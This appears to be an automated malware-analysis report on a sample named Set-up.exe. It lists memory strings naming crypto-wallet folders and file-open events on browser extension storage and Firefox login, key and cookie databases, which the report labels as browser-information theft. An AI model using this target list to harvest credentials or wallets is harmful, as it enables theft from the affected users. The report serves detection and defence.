Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Publicp.inir......All UsersAll Users\??\C:\Users\All Users\??\C:\Users\All UsersDefaultDefault\??\C:\Users\Default\??\C:\Users\DefaultDefault UserDefault User\??\C:\Users\Default User\??\C:\Users\Default Userdesktop.inidesktop.ini\??\C:\Users\desktop.iniuseruser\??\C:\Users\user\??\C:\Users\userPublicPublic\??\C:\Users\Public\??\C:\Users\Public\??\C:\Users\All Users\AppData\??\C:\Users\All Users\AppData\Roaming\Ethereum\??\C:\Users\All Users\AppData\Roaming\Ethereum\??\C:\Users\Default\AppData\??\C:\Users\Default\AppData\Roaming\Ethereum\??\C:\Users\Default\AppData\Roaming\Ethereum\??\C:\Users\Default User\AppData\??\C:\Users\Default User\AppData\Roaming\Ethereum\??\C:\Users\Default User\AppData\Roaming\Ethereum\??\C:\Users\user\AppData\??\C:\Users\user\AppData\Roaming\Ethereum\??\C:\Users\user\AppData\Roaming\Ethereum\??\C:\Users\Public\AppData\??\C:\Users\Public\AppData\Roaming\Ethereum\??\C:\Users\Public\AppData\Roaming\Ethereum
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Exodus
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\All Users\AppData\Roaming\Binance
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Ethereum
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Coinomi\Coinomi\wallets
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Roaming\MultiDoge
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Ledger Live
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Publicp.inir......All UsersAll Users\??\C:\Users\All Users\??\C:\Users\All UsersDefaultDefault\??\C:\Users\Default\??\C:\Users\DefaultDefault UserDefault User\??\C:\Users\Default User\??\C:\Users\Default Userdesktop.inidesktop.ini\??\C:\Users\desktop.iniuseruser\??\C:\Users\user\??\C:\Users\userPublicPublic\??\C:\Users\Public\??\C:\Users\Public\??\C:\Users\All Users\AppData\??\C:\Users\All Users\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\All Users\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Default\AppData\??\C:\Users\Default\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Default\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Default User\AppData\??\C:\Users\Default User\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Default User\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\user\AppData\??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Public\AppData\??\C:\Users\Public\AppData\Roaming\Electrum-LTC\wallets\??\C:\Users\Public\AppData\Roaming\Electrum-LTC\wallets I

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mjdmgoiobnbombmnbbdllfncjcmopfnc	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klghhnkeealcohjjanjjdaeeggmfmlpl	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oboonakemofpalcgghocfoadofidjkkk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ljfpcifpgbbchoddpjefaipoiigpdmag	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nihlebdlccjjdejgocpogfpheakkpodb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdgbckgdncnhihllonhnjbdoighgpimk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpilbniiabackdjcionkobglmddfbcjo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bopcbmipnjdcdfflfgjdgdjejmgpoaab	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Mozilla\Firefox\Profiles\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Mozilla\Firefox\Profiles\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fdjamakpfbbddfjaooikfcpapjohcfmg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lfochlioelphaglamdcakfjemolpichk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Mozilla\Firefox\Profiles\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ldpmmllpgnfdjkmhcficcifgoeopnodc	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\naepdomgkenhinolocfifgehidddafch	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\iodngkohgeogpicpibpnaofoeifknfdo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fmhjnpmdlhokfidldlglfhkkfhjdmhgl	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fooolghllnmhmmndgjiamiiodkpenpbb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kmphdnilpmdejikjdnlbcnmnabepfgkh	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mbcafoimmibpjgdjboacfhkijdkmjocd	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aodkkagnadcbobfpggfnjeongemjbjca	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fldfpgipfncgndfolcbkdeeknbbbnhcc	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jhfjfclepacoldmjmkmdlmganfaalklb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmjmllblpcbmniokccdoaiahcdajdjof	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flhbololhdbnkpnnocoifnopcapiekdi	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\njojblnpemjkgkchnpbfllpofaphbokk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fiikommddbeccaoicoejoniammnalkfa	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cfhdojbkjhnklbpkdaibdccddilifddb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cgeeodpfagjceefieflmdfphplkenlfk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\khpkpbbcccdmmclmpigdgddabeilkdpd	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijpdbdidkomoophdnnnfoancpbbmpfcn	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mdjmfdffdcmnoblignmgpommbefadffd	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fdfigkbdjmhpdgffnbdbicdmimfikfig	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfel	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\omaabbefbmiijedngplfjmnooppbclkk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpmkedoipcpimgecpmgpldfpohjplkpp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\djclckkglechooblngghdinmeemkbgci	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jfdlamikmbghhapbgfoogdffldioobgl	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\chgfefjpcobfbnpmiokfjjaglahmnded	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfogiafebfohielmmehodmfbbebbbpei	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bifidjkcdpgfnlbcjpdkdcnbiooooblg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pnlccmojcmeohlpggmfnbbiapkmbliob	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbkfoedolllekgbhcbcoahefnbanhhlh	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\igkpcodhieompeloncfnbekccinhapdb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onapnnfmpjmbmdcipllnjmjdjfonfjdm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key3.db	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oiaanamcepbccmdfckijjolhlkfocbgj	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ogphgbfmhodmnmpnaadpbdadldbnmjji	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\enabgbdfcbaehmbigakijjabdpdnimlg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnkelfanjkeadonecabehalmbgpfodjm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hhmkpbimapjpajpicehcnmhdgagpfmjc	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ckdjpkejmlgmanmmdfeimelghmdfeobe	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojhpaddibjnpiefjkbhkfiaedepjheca	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\iokeahhehimjnekafflcihljlcjccdbe	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kmmkllgcgpldbblpnhghdojehhfafhro	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cfdldlejlcgbgollnbonjgladpgeogab	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ekkhlihjnlmjenikbgmhgjkknoelfped	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcjginnbdlkdnnahogchmeidnmfckjom	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kbdcddcmgoplfockflacnnefaehaiocb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kgdijkcfiglijhaglibaidbipiejjfdp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilbibkgkmlkhgnpgflcjdfefbkpehoom	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkhmbjifakpikpapdiaepgkdephjgnma	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
